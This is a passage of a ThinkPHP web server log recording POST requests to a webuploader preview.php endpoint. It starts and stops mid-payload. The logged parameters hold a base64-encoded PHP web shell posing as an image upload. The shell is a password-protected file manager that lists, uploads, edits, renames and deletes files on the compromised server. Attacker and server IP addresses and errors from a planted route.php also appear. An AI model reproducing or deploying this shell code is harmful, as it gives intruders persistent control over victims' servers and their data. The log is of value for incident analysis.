lbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:04:08+08:00 ] 119.42.146.234 POST 59.110.137.245/Public/admin/Widget/webuploader/0.1.5/server/preview.php [运行时间:0.002746s] [吞吐率:364.15req/s] [内存消耗:196.78kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKT